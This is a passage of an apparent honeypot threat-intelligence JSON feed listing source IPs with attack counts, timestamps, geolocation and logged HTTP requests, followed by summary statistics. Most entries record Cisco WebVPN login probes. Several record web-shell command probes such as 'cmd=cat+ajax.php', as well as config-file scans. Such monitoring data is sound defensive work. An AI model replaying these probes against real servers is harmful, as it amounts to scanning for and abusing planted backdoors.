        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "146.70.168.93": {
      "attack_count": 9,
      "first_seen": "2026-05-08T02:03:16.408Z",
      "last_seen": "2026-05-08T03:52:09.907Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "146.70.172.157": {
      "attack_count": 9,
      "first_seen": "2026-05-05T04:12:17.610Z",
      "last_seen": "2026-05-06T00:46:30.241Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "185.213.193.192": {
      "attack_count": 9,
      "first_seen": "2026-05-02T05:49:00.355Z",
      "last_seen": "2026-05-05T23:53:55.723Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 21859,
      "as_org": "Zenlayer Inc"
    },
    "192.42.116.113": {
      "attack_count": 9,
      "first_seen": "2026-05-24T01:26:02.288Z",
      "last_seen": "2026-05-24T01:26:15.459Z",
      "ports": [],
      "event_types": [
        "\"GET /a2billing/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /aastra/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/assets/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/cdr/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/common/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/helpers/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/i18n/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /admin/images/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.234.107.207": {
      "attack_count": 9,
      "first_seen": "2026-05-10T08:52:20.700Z",
      "last_seen": "2026-05-14T08:53:42.618Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.71.194": {
      "attack_count": 9,
      "first_seen": "2026-05-03T00:54:42.639Z",
      "last_seen": "2026-05-06T00:01:31.798Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.84.107.76": {
      "attack_count": 8,
      "first_seen": "2026-05-24T01:18:58.387Z",
      "last_seen": "2026-05-24T01:19:11.199Z",
      "ports": [],
      "event_types": [
        "\"GET /_asterisk/vivovivo.php?dwx=cat+vivovivo.php& HTTP/1.1\" 404 -",
        "\"GET /_asterisk/vivovivow.php?dwxw=cat+vivovivow.php& HTTP/1.1\" 404 -",
        "\"GET /admin/assets/m.php?c=cat+m.php& HTTP/1.1\" 404 -",
        "\"GET /ajax.php?cmd=cat+ajax.php& HTTP/1.1\" 404 -",
        "\"GET /assets/m.php?c=cat+m.php& HTTP/1.1\" 404 -",
        "\"GET /rr.php?yokyok=cat+rr.php& HTTP/1.1\" 404 -",
        "\"GET /rrr.php?badr1badr=cat+rrr.php& HTTP/1.1\" 404 -",
        "\"GET /vivovivow.php?dwxw=cat+vivovivow.php& HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "104.243.250.13": {
      "attack_count": 7,
      "first_seen": "2026-05-03T15:05:45.550Z",
      "last_seen": "2026-05-10T09:01:34.161Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 201813,
      "as_org": "Contrust Solutions S.R.L."
    },
    "130.49.15.175": {
      "attack_count": 7,
      "first_seen": "2026-05-27T02:13:03.523Z",
      "last_seen": "2026-05-27T02:13:15.790Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Forks",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "138.249.131.78": {
      "attack_count": 7,
      "first_seen": "2026-05-27T04:56:50.506Z",
      "last_seen": "2026-05-27T04:57:00.470Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Bloomingdale",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "141.133.79.219": {
      "attack_count": 7,
      "first_seen": "2026-05-26T11:05:07.964Z",
      "last_seen": "2026-05-26T11:05:19.827Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Daytona Beach",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.252.43.162": {
      "attack_count": 7,
      "first_seen": "2026-05-27T23:40:12.311Z",
      "last_seen": "2026-05-27T23:40:28.500Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "172.252.110.92": {
      "attack_count": 7,
      "first_seen": "2026-05-30T00:38:16.391Z",
      "last_seen": "2026-05-30T00:38:31.499Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "193.176.23.182": {
      "attack_count": 7,
      "first_seen": "2026-05-30T10:51:47.058Z",
      "last_seen": "2026-05-30T10:51:57.691Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Mount Vernon",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "45.88.102.160": {
      "attack_count": 7,
      "first_seen": "2026-05-29T10:58:16.599Z",
      "last_seen": "2026-05-29T10:58:30.652Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Philadelphia",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "88.214.49.117": {
      "attack_count": 7,
      "first_seen": "2026-05-29T05:07:53.335Z",
      "last_seen": "2026-05-29T05:08:05.962Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Tenino",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "142.147.89.217": {
      "attack_count": 6,
      "first_seen": "2026-05-07T08:05:58.018Z",
      "last_seen": "2026-05-14T09:25:30.013Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 6233,
      "as_org": "xTom"
    },
    "146.70.172.222": {
      "attack_count": 6,
      "first_seen": "2026-05-05T15:12:47.210Z",
      "last_seen": "2026-05-29T17:55:33.302Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "16.58.56.214": {
      "attack_count": 6,
      "first_seen": "2026-05-03T12:31:27.400Z",
      "last_seen": "2026-05-22T11:44:48.503Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "173.249.255.74": {
      "attack_count": 6,
      "first_seen": "2026-05-04T11:18:56.347Z",
      "last_seen": "2026-05-05T01:53:08.030Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "192.42.116.107": {
      "attack_count": 6,
      "first_seen": "2026-05-24T01:21:12.319Z",
      "last_seen": "2026-05-24T01:21:20.813Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings/misc/callme_page.php?cc HTTP/1.1\" 404 -",
        "\"GET /recordings/misc/thaer.php?cc HTTP/1.1\" 404 -",
        "\"GET /recordings/pow.php?zxc HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "23.162.8.99": {
      "attack_count": 6,
      "first_seen": "2026-05-16T02:28:30.921Z",
      "last_seen": "2026-05-20T19:43:43.798Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 25737,
      "as_org": "Jone Broadband LLC"
    },
    "23.234.116.207": {
      "attack_count": 6,
      "first_seen": "2026-05-26T10:49:20.639Z",
      "last_seen": "2026-05-27T11:22:06.117Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.80.191": {
      "attack_count": 6,
      "first_seen": "2026-05-02T01:26:07.341Z",
      "last_seen": "2026-05-04T23:50:28.470Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "66.132.195.54": {
      "attack_count": 6,
      "first_seen": "2026-05-22T23:06:53.649Z",
      "last_seen": "2026-05-22T23:07:08.249Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "104.243.250.18": {
      "attack_count": 5,
      "first_seen": "2026-05-04T06:51:51.969Z",
      "last_seen": "2026-05-10T09:01:55.993Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Moldova",
      "country_code": "MD",
      "city": null,
      "asn": 201813,
      "as_org": "Contrust Solutions S.R.L."
    },
    "170.64.179.24": {
      "attack_count": 5,
      "first_seen": "2026-05-25T10:00:13.060Z",
      "last_seen": "2026-05-25T10:00:30.352Z",
      "ports": [],
      "event_types": [
        "code 400",
        "\"4\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00dd\u0007\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u001f\u0000\u0000\u0000\u0010hello\u0000\u0001\u0000\u0000\u0000\u0002$db\u0000\u0006\u0000\u0000\u0000admin\u0000\u0000\" 400 -",
        "\":\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00d4\u0007\u0000\u0000\u0000\u0000\u0000\u0000admin.$cmd\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0013\u0000\u0000\u0000\u0010isMaster\u0000\u0001\u0000\u0000\u0000\u0000\" 400 -",
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "172.120.48.118": {
      "attack_count": 5,
      "first_seen": "2026-05-26T10:06:09.888Z",
      "last_seen": "2026-05-26T10:06:42.669Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Las Vegas",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "216.180.246.35": {
      "attack_count": 4,
      "first_seen": "2026-05-27T06:33:41.082Z",
      "last_seen": "2026-05-27T06:33:52.674Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /manage/account/login HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC"
    },
    "23.234.71.23": {
      "attack_count": 3,
      "first_seen": "2026-05-15T01:15:53.705Z",
      "last_seen": "2026-05-15T01:16:01.714Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.73.74": {
      "attack_count": 3,
      "first_seen": "2026-05-05T13:06:21.939Z",
      "last_seen": "2026-05-05T13:06:31.619Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.92.207": {
      "attack_count": 3,
      "first_seen": "2026-05-26T03:10:34.454Z",
      "last_seen": "2026-05-26T03:10:43.219Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "79.127.217.53": {
      "attack_count": 3,
      "first_seen": "2026-05-08T10:57:24.517Z",
      "last_seen": "2026-05-08T10:57:32.202Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 60068,
      "as_org": "Datacamp Limited"
    },
    "8.216.4.86": {
      "attack_count": 3,
      "first_seen": "2026-05-20T13:11:01.231Z",
      "last_seen": "2026-05-20T13:11:04.754Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "85.239.147.8": {
      "attack_count": 3,
      "first_seen": "2026-05-23T08:57:06.695Z",
      "last_seen": "2026-05-23T08:57:11.107Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.0\" 200 -",
        "\"GET /api/sonicos/is-sslvpn-enabled HTTP/1.0\" 404 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 213474,
      "as_org": "HomeLine Broadband LLC"
    },
    "138.197.144.37": {
      "attack_count": 2,
      "first_seen": "2026-05-30T00:32:33.544Z",
      "last_seen": "2026-05-30T00:32:36.547Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "65.49.1.189": {
      "attack_count": 2,
      "first_seen": "2026-05-02T08:03:05.495Z",
      "last_seen": "2026-05-02T08:03:31.968Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "153.76.19.163": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:07:19.298Z",
      "last_seen": "2026-05-30T15:07:19.298Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "153.76.22.137": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:27:19.636Z",
      "last_seen": "2026-05-30T15:27:19.636Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "185.247.137.145": {
      "attack_count": 1,
      "first_seen": "2026-05-11T12:16:39.754Z",
      "last_seen": "2026-05-11T12:16:39.754Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd"
    },
    "195.184.76.209": {
      "attack_count": 1,
      "first_seen": "2026-05-03T11:43:14.361Z",
      "last_seen": "2026-05-03T11:43:14.361Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "23.94.204.22": {
      "attack_count": 1,
      "first_seen": "2026-05-22T21:51:08.995Z",
      "last_seen": "2026-05-22T21:51:08.995Z",
      "ports": [],
      "event_types": [
        "\"GET /healthz HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Elk Grove Village",
      "asn": 36352,
      "as_org": "HostPapa"
    },
    "45.142.193.212": {
      "attack_count": 1,
      "first_seen": "2026-05-08T22:49:13.467Z",
      "last_seen": "2026-05-08T22:49:13.467Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 214295,
      "as_org": "Skynet Network Ltd"
    },
    "64.62.197.240": {
      "attack_count": 1,
      "first_seen": "2026-05-03T05:30:03.106Z",
      "last_seen": "2026-05-03T05:30:03.106Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.1.176": {
      "attack_count": 1,
      "first_seen": "2026-05-11T10:42:59.940Z",
      "last_seen": "2026-05-11T10:42:59.940Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "85.239.146.26": {
      "attack_count": 1,
      "first_seen": "2026-05-03T15:05:48.203Z",
      "last_seen": "2026-05-03T15:05:48.203Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 209896,
      "as_org": "Contrust Solutions S.R.L."
    },
    "91.196.152.132": {
      "attack_count": 1,
      "first_seen": "2026-05-29T09:55:26.226Z",
      "last_seen": "2026-05-29T09:55:26.226Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.196.152.30": {
      "attack_count": 1,
      "first_seen": "2026-05-07T03:16:39.396Z",
      "last_seen": "2026-05-07T03:16:39.396Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Roubaix",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    },
    "91.231.89.152": {
      "attack_count": 1,
      "first_seen": "2026-05-07T03:21:17.364Z",
      "last_seen": "2026-05-07T03:21:17.364Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS"
    }
  },
  "x_nadsec_summary": {
    "top_countries": {
      "United States": 23126,
      "Bulgaria": 5160,
      "Sweden": 2647,
      "The Netherlands": 2337,
      "Singapore": 1392,
      "Israel": 216,
      "Japan": 143,
      "Germany": 129,
      "Russia": 126,
      "Hong Kong": 105,
      "Canada": 63,
      "France": 46,
      "China": 43,
      "Moldova": 37,
      "Iran": 28,
      "Portugal": 26,
      "United Kingdom": 23,
      "Seychelles": 18,
      "Nigeria": 16,
      "Indonesia": 16
    },
    "top_asns": {
      "tzulo, inc.": 8218,
      "HomeLine Broadband LLC": 5109,
      "Datacamp Limited": 4208,
      "Omegatech LTD": 3465,
      "Clouvider Limited": 3247,
      "PebbleHost Ltd": 1391,
      "M247 Europe SRL": 1301,
      "31173 Services AB": 1192,
      "HostRoyale Technologies Pvt Ltd": 1180,
      "Green Floid LLC": 745,
      "Global Connectivity Solutions Llp": 668,
      "Host Universal Pty Ltd": 385,
      "Church of Cyberology": 313,
      "Hurricane Electric LLC": 302,
      "Host Telecom Ltd": 217,
      "Censys, Inc.": 190,
      "Shock Hosting LLC": 172,
      "UCLOUD INFORMATION TECHNOLOGY HK LIMITED": 146,
      "Byte Node LLC": 144,
      "Amazon.com, Inc.": 143
    },
    "targeted_ports": {},
    "top_events": {
      "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -": 1337,
      "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -": 1325,
      "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -": 872,
      "\"GET / HTTP/1.1\" 200 -": 667,
      "Request timed out: TimeoutError(The read operation timed out)": 619,
      "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -": 447,
      "\"GET /favicon.ico HTTP/1.1\" 404 -": 113,
